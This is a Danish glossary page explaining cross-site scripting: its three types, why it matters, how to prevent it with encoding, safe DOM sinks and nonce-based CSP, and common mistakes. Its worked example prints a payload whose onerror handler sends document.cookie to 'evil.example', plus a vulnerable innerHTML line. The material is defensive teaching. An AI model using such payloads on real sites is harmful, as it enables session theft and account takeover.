{"canonical_url":"https://engineer.company/da/glossary/cross-site-scripting/","content_markdown":"# Cross-site scripting\n\n## Hvad det er\n\nCross-site scripting, næsten altid forkortet XSS, er det angreb, hvor et\nwebsite tager tekst, der kom fra en anden, sætter den ind i en side, det\nserverer for andre, og undlader at neutralisere den undervejs, så browseren\nlæser en del af teksten som kode og kører den. Common Weakness Enumeration\nfører det som CWE-79 under en titel, der siger nogenlunde det samme: input, der\nikke bliver neutraliseret, mens en webside genereres. Angriberen ændrer aldrig\nsitets kode. Angriberen leverer data, og sitet selv bringer scriptet ud til sine\negne brugere, inde i sine egne sider.\n\nDer er tre veje ind, og både CWE-posten og OWASP beskriver dem. Ved reflekteret\nXSS, også kaldet ikke-persistent eller Type 1, rejser payloaden med i requesten,\nsom regel som en URL-parameter, og serveren kopierer den ind i svaret: en side\nmed søgeresultater, en fejlmeddelelse, alt, der gentager det, den fik tilsendt.\nOfferet skal lokkes til at åbne et særligt udformet link, og derfor placerer\nCWE-posten den slags links i kernen af mange phishing-angreb. Ved lagret XSS,\nogså kaldet persistent eller Type 2, bliver payloaden gemt først, i en\nkommentar, et forumindlæg, et profilfelt eller en logbesked, og den kører for\nalle, der senere ser den post. Ved DOM-baseret XSS, Type 0, ser serveren måske\nslet ikke payloaden. Sidens eget JavaScript læser noget, angriberen styrer, fx\nden del af URL'en, der står efter `#`, og skriver det ind i dokumentet på en\nmåde, der får browseren til at parse det som markup.\n\nNavnet passer dårligt til det moderne problem, og OWASP siger det selv: dens\ncheat sheet om forebyggelse kalder betegnelsen misvisende. Den stammer fra\ntidlige angreb, der stjal data på tværs af sites, og er siden blevet udvidet til\nat dække indsprøjtning af næsten ethvert indhold i en side, uanset om et andet\nsite er involveret. Selv forkortelsen har en historie. CWE-posten fortæller, at\nden oplagte forkortelse på tre bogstaver var almindelig i de første år, indtil\nsammenfaldet med Cascading Style Sheets fik den til at gå af brug.\n\nOWASP regner XSS for en form for injection, i samme familie som SQL injection.\nI begge tilfælde krydser data en grænse og lander et sted, hvor de bliver læst\nsom instruktioner: dér den SQL, en database kører, her en sides markup,\nattributværdier og JavaScript. Kuren har samme form begge steder. Hold data som\ndata i det øjeblik, de bliver sat ind, så har fortolkeren intet af angriberens\nat køre.\n\n## Hvorfor det betyder noget\n\nScriptet kører som sitets eget. Browseren fører ikke regnskab med, hvor teksten\nkom fra; den ser en side, som sitet har serveret fra sin egen oprindelse, og\ngiver scriptet alt, hvad den oprindelse har lov til. OWASP formulerer problemet\nsådan, at browseren ikke har nogen mulighed for at vide, at scriptet ikke bør\nnyde tillid. CWE-posten drager konsekvensen: angrebet sætter hensigten bag\nsame-origin policy ud af kraft, den regel, der skal forhindre script fra ét site\ni at række ind i et andet.\n\nDet, scriptet kan gøre, er det, brugeren kunne. CWE-79 nævner tyveri af private\noplysninger i cookies, fx sessionsdata, som det mest almindelige angreb og\nadvarer om, at det er særlig farligt, når offeret har administratorrettigheder\npå sitet. OWASP's liste er længere: at overtage kontoen, holde øje med, hvad\nbrugeren gør, hente indhold andre steder fra, stjæle følsomme data og omskrive\nselve siden. Lagret XSS i en logbesked er en klassisk vej netop til de ofre.\nCWE-posten bruger det som sit eksempel, fordi dem, der læser logbeskeder, ofte\ner administratorer, og fordi en logviser ikke nødvendigvis håndterer fjendtligt\ninput ordentligt.\n\nDet vedrører alle webteams, ikke kun dem, der stadig skriver markup i hånden.\nModerne frameworks har gjort XSS sjældnere: OWASP tilskriver deres skabeloner og\nautomatiske escaping, at der er færre fejl. Alle frameworks har stadig\nnødudgange til de tilfælde, hvor en udvikler vil indsætte markup direkte, og\nOWASP peger på netop dem som de steder, hvor problemerne stadig opstår. Samme\ncheat sheet slår fast, at ingen enkelt teknik løser XSS, og at der skal en\nkombination til. Det er rammen for resten af artiklen: indkod først til den\nrigtige kontekst, og læg de andre lag bag ved.\n\n## Sådan ser det ud i praksis\n\nTag en netbutik, hvis søgeside gentager søgeordet, så\n`https://shop.example/search?q=lamp` viser `Results: lamp`. Serveren bygger den\nlinje ved at klistre parameteren ind i sin sideskabelon. En angriber sender et\noffer et link, hvor `q` er dette:\n\n```html\n\u003cimg src=x onerror=\"fetch('//evil.example/'+document.cookie)\"\u003e\n```\n\nServeren klistrer den ind som før, og offerets browser modtager:\n\n```html\n\u003cp\u003eResults: \u003cimg src=x onerror=\"fetch('//evil.example/'+document.cookie)\"\u003e\u003c/p\u003e\n```\n\nBilledet kan ikke indlæses, fordi `x` ikke er et billede, og browseren kører\n`onerror`-handleren, som sender brugerens cookies til angriberens server. Koden\nstår i en attribut og ikke i et `\u003cscript\u003e`-element, og det er typisk: OWASP's\neget eksempel på en payload bruger et billedes `onerror`-attribut på samme måde.\n\nLøsningen er at indkode værdien til det sted, den lander. I HTML-brødtekst\nbetyder det, at de fem tegn `\u0026`, `\u003c`, `\u003e`, `\"` og `'` bliver til `\u0026amp;`,\n`\u0026lt;`, `\u0026gt;`, `\u0026quot;` og `\u0026#x27;`. Den samme payload ankommer så som\n`\u0026lt;img src=x onerror=\u0026quot;...\u0026quot;\u0026gt;`, som browseren viser som tekst og\naldrig parser som et tag. Frameworks med automatisk escaping gør det for dig;\nhullet opstår dér, hvor en streng i stedet bygges i hånden.\n\nVed den DOM-baserede variant sender serveren bare en statisk side, og sidens\neget script læser `q` og skriver det ind i overskriften:\n\n```js\nconst heading = document.querySelector(\"h1\");\nconst q = new URLSearchParams(location.search).get(\"q\");\nheading.innerHTML = `Results for ${q}`; // parser q som HTML\nheading.textContent = `Results for ${q}`; // viser q som tekst\n```\n\nLinjen med `innerHTML` giver angriberens markup til HTML-parseren, og\n`onerror`-handleren går i gang ligesom før. HTML-standarden bemærker, at et\n`\u003cscript\u003e`-element, der indsættes på den måde, slet ikke bliver udført, og\nderfor læner payloads sig op ad event-handler-attributter i stedet. Linjen med\n`textContent` opretter en tekstnode og parser ingenting, så den samme værdi\nvises som harmløse tegn. OWASP's cheat sheet om DOM-baseret XSS kalder valget\naf en sikker sink som denne for den bedste løsning, og det generelle cheat sheet\nbeder udviklere om at refaktorere væk fra `innerHTML` hen imod `textContent`.\n\nBag indkodningen ligger et andet lag. En Content Security Policy, der angiver en\nnonce, beder browseren om kun at køre de scripts, der bærer den. Det aktuelle\nW3C-udkast beder serveren om at generere en ny nonce, hver gang den sender en\npolicy, på mindst 128 bit fra en kryptografisk sikker tilfældighedsgenerator.\nEt indsprøjtet `\u003cscript\u003e` har ingen nonce, og en inline-handler som `onerror`\novenfor bliver også afvist, for kun `'unsafe-inline'` eller `'unsafe-hashes'`\nkan tillade handlere, og en nonce slår `'unsafe-inline'` fra. Udkastet nævner\n`script-src 'strict-dynamic' 'nonce-{RANDOM}'` sammen med `base-uri 'self'` som\nen effektiv afhjælpning af XSS, der også er til at rulle ud. I Chromium-baserede\nbrowsere går `require-trusted-types-for 'script'` videre og får sinks som\n`innerHTML` til at afvise almindelige strenge. OWASP advarer stadig om, at en\npolicy er let at sætte forkert op, og regner den for et ekstra lag snarere end\ndet primære forsvar.\n\nPå en platform med professionelle og organisatoriske data sætter Next.js'\nmiddleware\n[en sådan policy med en ny nonce for hver request og strict-dynamic](/da/portfolio/hardened-the-application-with-nonce-based-csp/)\nsammen med HSTS og SameSite-cookies, så browseren er stramt begrænset i, hvad\nden vil køre og sende. Den samme side beskriver beskyttelse i flere lag for at undgå afhængighed af en\nenkelt kontrol. Autorisationen på serveren er udformet til at fungere uafhængigt\naf kontrollerne på klienten, så brugerfladen ikke afgør, hvem der har adgang.\n\n## Hvor det går galt\n\n**Indkodning til den forkerte kontekst.** HTML-entity-kodning er rigtig til\ntekst mellem tags og ikke nok andre steder. OWASP giver hver kontekst sin egen\nregel: en værdi inde i en URL-parameter procentkodes i formen `%HH`, og en værdi\ninde i en attribut kodes til attributter og sættes i anførselstegn. Indkodning\nbeskytter desuden kun det sted, en streng sættes ind, ikke hvad der sker med den\nbagefter; en værdi, der sendes videre til `eval()`, er usikker, uanset hvad der\ner gjort ved den. Vid, hvor hver værdi lander, og brug frameworkets encoder til\ndet sted.\n\n**Attributter uden anførselstegn.** Mellemrum afslutter en attributværdi uden\nanførselstegn, så en angriber, der kan tilføje et mellemrum, kan tilføje sin\negen attribut, og `onmouseover=` er alt, hvad der skal til. Sæt altid\nattributværdier i anførselstegn, og brug frameworkets attribut-encoder.\n\n**Brugerdata i en event-handler-attribut.** Attributkodning beskytter ikke\nJavaScript i `onclick` og dets slægtninge, fordi HTML-parseren afkoder\ntegnreferencer, før scriptet bliver fortolket. Tilknyt handlere med\n`addEventListener()`, og giv brugerens værdi med som data.\n\n**Et frameworks nødudgang fodret med rå input.** Reacts\n`dangerouslySetInnerHTML`, Angulars `bypassSecurityTrustAs*`-funktioner og Lits\n`unsafeHTML` slår alle automatisk escaping fra. Når brugere reelt har brug for\nat skrive markup, så kør den gennem en sanitizer som DOMPurify, som OWASP\nanbefaler, lad være med at ændre resultatet bagefter, og hold biblioteket\nopdateret, fordi der hele tiden bliver fundet nye omgåelser.\n\n**En `javascript:`-URL i et link.** Et websitefelt i en profil, der indeholder\n`javascript:` efterfulgt af kode, gør et uskyldigt link til et script. React 19\nblokerer sådanne URL'er i `src` og `href`, men OWASP siger, at det ikke erstatter\napplikationens egen validering af URL'er. Tillad de skemanavne, feltet faktisk har\nbrug for, som `https:`, og afvis alt andet.\n\n**Inputvalidering eller en WAF som løsningen.** Validering hjælper, men den kan\nikke fjerne alle farlige tegn fra fri tekst. CWE-postens eksempel er\nhjerte-smileyen `\u003c3`, som en chatapplikations validering sandsynligvis ville\nlukke igennem, og som stadig indeholder `\u003c`. En web application firewall matcher\nkendte angrebsstrenge, overser nye omgåelser og ser aldrig DOM-baseret XSS, der\nforegår helt i browseren; OWASP anbefaler ikke en til at forebygge XSS. Indkod\noutputtet, og regn begge dele for ekstra lag.\n\n**HttpOnly som en kur.** Når sessionscookien er markeret HttpOnly, kan\n`document.cookie` ikke læse den, og det stækker den mest almindelige payload.\nScriptet kører dog stadig og kan handle som brugeren inde fra siden. CWE-posten\nkalder HttpOnly ikke en fuldstændig løsning, og OWASP siger, at\ncookie-attributter begrænser skaden uden at forhindre udførelsen. Sæt den, og\nluk selve hullet.\n\n**JSON serveret som HTML.** Et endepunkt, der returnerer brugerdata med\n`Content-Type: text/html`, inviterer browseren til at parse dem som en side.\nOWASP's regel er at sikre, at JSON går ud som `application/json`. Sæt headeren\neksplicit på hvert eneste af den slags svar.\n\n**Policyen som det primære forsvar.** En nonce, der genbruges på tværs af svar,\nen manglende `base-uri` eller en `'unsafe-inline'`, der blev tilføjet for at få\nén widget til at virke, kan hver især stille og roligt sætte en policy ud af\nspil. Indkod først, og lad policyen fange det, der slipper igennem.\n\n## Læs mere\n\n- [CWE-79 in the Common Weakness Enumeration](https://cwe.mitre.org/data/definitions/79.html)\n  — svaghedsposten: de tre typer, konsekvenserne og afhjælpningerne med deres\n  begrænsninger.\n- [OWASP Cross Site Scripting Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n  — indkodning for hver kontekst, frameworkenes nødudgange, sanering og lagene\n  bag dem.\n- [OWASP DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html)\n  — sikre og usikre sinks i browseren, med gennemregnede eksempler.\n- [OWASP: Cross Site Scripting (XSS)](https://community.owasp.org/attacks/xss/)\n  — angrebet set fra angriberens side, med eksempler på payloads.\n- [HTML Standard: Scripting](https://html.spec.whatwg.org/multipage/scripting.html)\n  — hvordan og hvornår `script`-elementet kører, også i indsat markup.\n- [Content Security Policy Level 3](https://www.w3.org/TR/CSP3/) — nonces,\n  `'strict-dynamic'` og den stramme policy, udkastet anbefaler.\n\n\u003chttps://engineer.company/da/glossary/cross-site-scripting/\u003e\n","date_modified":"2026-11-12T05:34:23Z","description":"Sådan får cross-site scripting en browser til at køre en angribers kode som sitets egen, de tre typer, og de kodningsvaner, der stopper det.","formats":{"gemtext":"https://engineer.company/da/glossary/cross-site-scripting/index.gmi","gopher":"https://engineer.company/da/glossary/cross-site-scripting/gophermap","html":"https://engineer.company/da/glossary/cross-site-scripting/","json":"https://engineer.company/da/glossary/cross-site-scripting/index.json","markdown":"https://engineer.company/da/glossary/cross-site-scripting/index.md","pdf":"https://engineer.company/da/glossary/cross-site-scripting/index.pdf"},"kind":"page","language":"da","title":"Hvad er cross-site scripting?","url":"https://engineer.company/da/glossary/cross-site-scripting/","version":1}